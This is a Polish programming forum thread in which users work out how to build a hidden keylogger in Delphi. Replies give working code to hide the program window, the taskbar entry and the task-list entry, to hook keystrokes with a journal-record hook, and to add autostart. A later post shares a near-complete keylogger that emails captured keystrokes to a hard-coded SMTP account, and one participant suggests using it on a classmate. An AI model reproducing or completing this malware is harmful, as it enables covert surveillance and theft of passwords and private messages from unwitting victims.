Pokaż wyniki 1 do 9 z 9

Temat: [DELPHI] Keylogger

  1. #1

    Question [DELPHI] Keylogger

    Chcialbym napisac w delphi keyloggera. Mam takie problemy:

    1. Co zrobic zeby dzialanie programu bylo ukryte? (tzn. zeby nie bylo widac okienka aplikacji)
    2. Jak monitorowac to co ktos napisze na klawiaturze?
    3. Jak wszystko wyslac potem na maila albo gg?
    4. Czy c++ albo cos innego nie nadaje sie lepiej do pisania keyloggerow itp?

  2. #2
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Owszem... C/C++ sa dobre, warto pomyslec o takim starociu jak Assembler (stary ale ciagle nie do przebicia) i napisac w nim program rezydentny (TSR - ang. Terminate and Stay Resident - o ile pamietam)... no trzeba nieco wiedzy na temat tego jak obslugiwana jest klawiatura w sprzecie klasy PC (podpowiem ze jest to przerwanie sprzetowe i wtedy robisz odczyt bufora), do tego pozniej jak ukry keylogger przed programem antywirusowym... a na sam koniec zaimplementowac jakis sposob komunikacji (mail bedzie prostszy niz GG) ale jeszcze ukryc to przed firewall'em :-)

    Trzymam kciuki!

    P.S.
    Programy rezydentne sa zamykane w momencie zakonczenia sesji DOS (cmd.exe) w windows 2000 i XP, wiec na tych systemach musisz szukac innej drogi :-)

  3. #3
    Zarejestrowany
    Dec 2006
    Skąd
    Polska
    Postów
    8

    Domyślnie

    witam, służę pomocą w miarę możliwości

    1. Musisz zastanowić się nad całkowitym ukryciem programu w systemie. Wypadałoby wyłączyć formę, usunąć program z paska zadań, wyłączyć aplikację z listy Ctrl+Alt+Del:
    a) formę można zrobić niewidoczną, najlepiej BorderStyle=bsNone, width=1, height=1 (nie ustawisz tego w objektorze, więc najlepiej ustaw w kodzie na OnCreate formy), a do tego ustaw left i top na 0 - wtedy forma będzie widoczna ale bardzo mała i ciężka do znalezienia... potem może pobawić się w ukrywanie i tak dalej (wiem że to lamerski sposób :P) Potem opiszę jak to zrobić trochę lepiej, tymczasowo nie mam swoich źródeł...
    b) Usunąć program z paska zadań musisz, zanim zostaną wyświetlony formy, więc dajesz w źródle (Project/View source):
    Kod:
    var
      Ex : Integer;
    begin
      Application.Initialize;
    
       Ex:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
      SetWindowLong(Application.Handle,GWL_EXSTYLE,
      Ex or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
    
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    c) wyłączanie aplikacji z listy Ctrl=Alt+Del. W sekcji Interface programu dodaj linię
    Kod:
    function RegisterServiceProcess(dwProcessId,dwType:dword):
    Integer;stdcall;external 'kernel32.dll';
    , potem w kodzie na OnCreate wpisz
    Kod:
    RegisterServiceProcess(GetCurrentProcessID, 1);
    <- p.s. nie zadziała to w Windowsie 2000 i XP, więc z tym będzie trzeba jakoś pokombinować :P
    2) Monitorowanie wciśniętych klawiszy, czyli cały "silnik" keyloggera. Tutaj możesz pójść na łatwiznę używając gotowego komponentu (np. KeySpyXP), albo napisać samemu unit do zakładaniu hooka i przechwytywaniu klawiszy:
    Poczytaj tutaj o zakładaniu hooka oraz obsłudze komunikatów: >> http://4programmers.net/Delphi/Kompe...ozdzia%C5%82_5
    albo na skóty - użyj tego
    Kod:
    var
    Hook:Integer;
    MessageBuffer:TEventMsg;
    
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer := PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin
    Memo1.Text := Memo1.Text + chr(MessageBuffer.paraml);
    Result := 0;
    end;
    end;
    
    else begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    UnHookWindowsHookEx(Hook);
    end;
    3) Do wysłania danych przez GG musisz poczytać trochę o protokołach GG, albo pójść na łatwiznę i użyć gotowego komponentu: trochę tego jest w necie więc życzę powodzenia. Do wysłania via e-mail polecam pakiet INDY: >> http://4programmers.net/Delphi/Indy#id-SMTP
    4) Do KeySpy'a poleciłbym ASM'a (chociaż trudny) a widzę że kolego to raczej początkujący w Delphi... Miłej zabawy. Pozdrawiam
    P.S. Warto by pomyśleć o dodawaniu programu do rejestru (autostart), szyfrowaniu logów i zapisywaniu ich datami Na początek powinno wystarczyć.
    Ostatnio edytowane przez jaz0n : 12-20-2006 - 14:28

  4. #4

    Domyślnie Keyyloger

    Siema wam własnie sciagnolem keyylogera programek dziala spoko. Da sie zrobić tak zebym widzial kto cos pisze na innym kompie jak ma zainstalowany programik jak sie to robi

  5. #5

    Domyślnie

    może byś podał więcej szczegółów, albo poszukaj dokumentacji do tego programu.
    "dobrzy hakerzy są sławni na cały świat, ale o hakerach geniuszach nikt nic nie wie."

  6. #6

    Domyślnie

    OK to mój kumpel z klasy moge postrac sie o email ip i gg nie wiem czy to cos da jak cos to wes napisz do mnie na gg 4605252

  7. #7
    Zarejestrowany
    Dec 2006
    Skąd
    polsza
    Postów
    747

    Domyślnie

    cooltrayicon
    THGG
    KeySpyXP

  8. #8

    Domyślnie

    Witam mam problem z keyloggerem jestem laik w tych sprawach zrobilem wszystko tak jak opisywano na forach mimo to i tak mam blad... odpalilem keyloggera u siebie dla testow wszystko ładnie działa tylko gdy przychodzi czas na wyslanie logow na email wyskakuje błąd ..."adres emaila nie nalezy do uzytkownika"


    kod wyglada mniej wiecej tak:

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
    IdSMTP, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage,
    CoolTrayIcon, KeySpyXP, ExtCtrls, StdCtrls;

    type
    TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    KeySpyXP1: TKeySpyXP;
    CoolTrayIcon1: TCoolTrayIcon;
    IdMessage1: TIdMessage;
    IdAntiFreeze1: TIdAntiFreeze;
    IdSMTP1: TIdSMTP;
    procedure Timer1Timer(Sender: TObject);
    procedure KeySpyXP1Key(Sender: TObject; key: String);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    IdMessage1.Body.Append(memo1.Text);
    IdMessage1.Recipients.EMailAddresses := '[email protected]';
    IdMessage1.Subject := 'Keylogger';
    idSMTP1.Password := 'halso_do_Maila';
    idSMTP1.Username := '[email protected]';
    idSMTP1.Host := 'poczta.interia.pl';
    idSMTP1.AuthenticationType:=atLogin;
    IdSMTP1.Connect;
    try
    IdSMTP1.Send(IdMessage1);
    finally
    IdSMTP1.Disconnect;
    end;
    end;

    procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
    begin
    if key[1]='{' then
    memo1.lines.add(key) else
    memo1.Text:=memo1.text+key;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

    end;

    end.




    Proszę o pomoc

  9. #9

    Domyślnie

    Polecam używać KEYSCRAMBLER - to właśnie przeciw takim cwaniaczkom, szyfrowanie w locie xD

Podobne wątki

  1. Odpowiedzi: 4
    Autor: 01-07-2007, 15:22
  2. [DELPHI]Kompilator - gdzie znajde?
    By Macok in forum Delphi/Pascal/Lisp
    Odpowiedzi: 4
    Autor: 12-20-2006, 14:32
  3. [DELPHI]Kompilator - gdzie znajde?
    By Macok in forum Hacking
    Odpowiedzi: 0
    Autor: 11-11-2006, 10:03

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj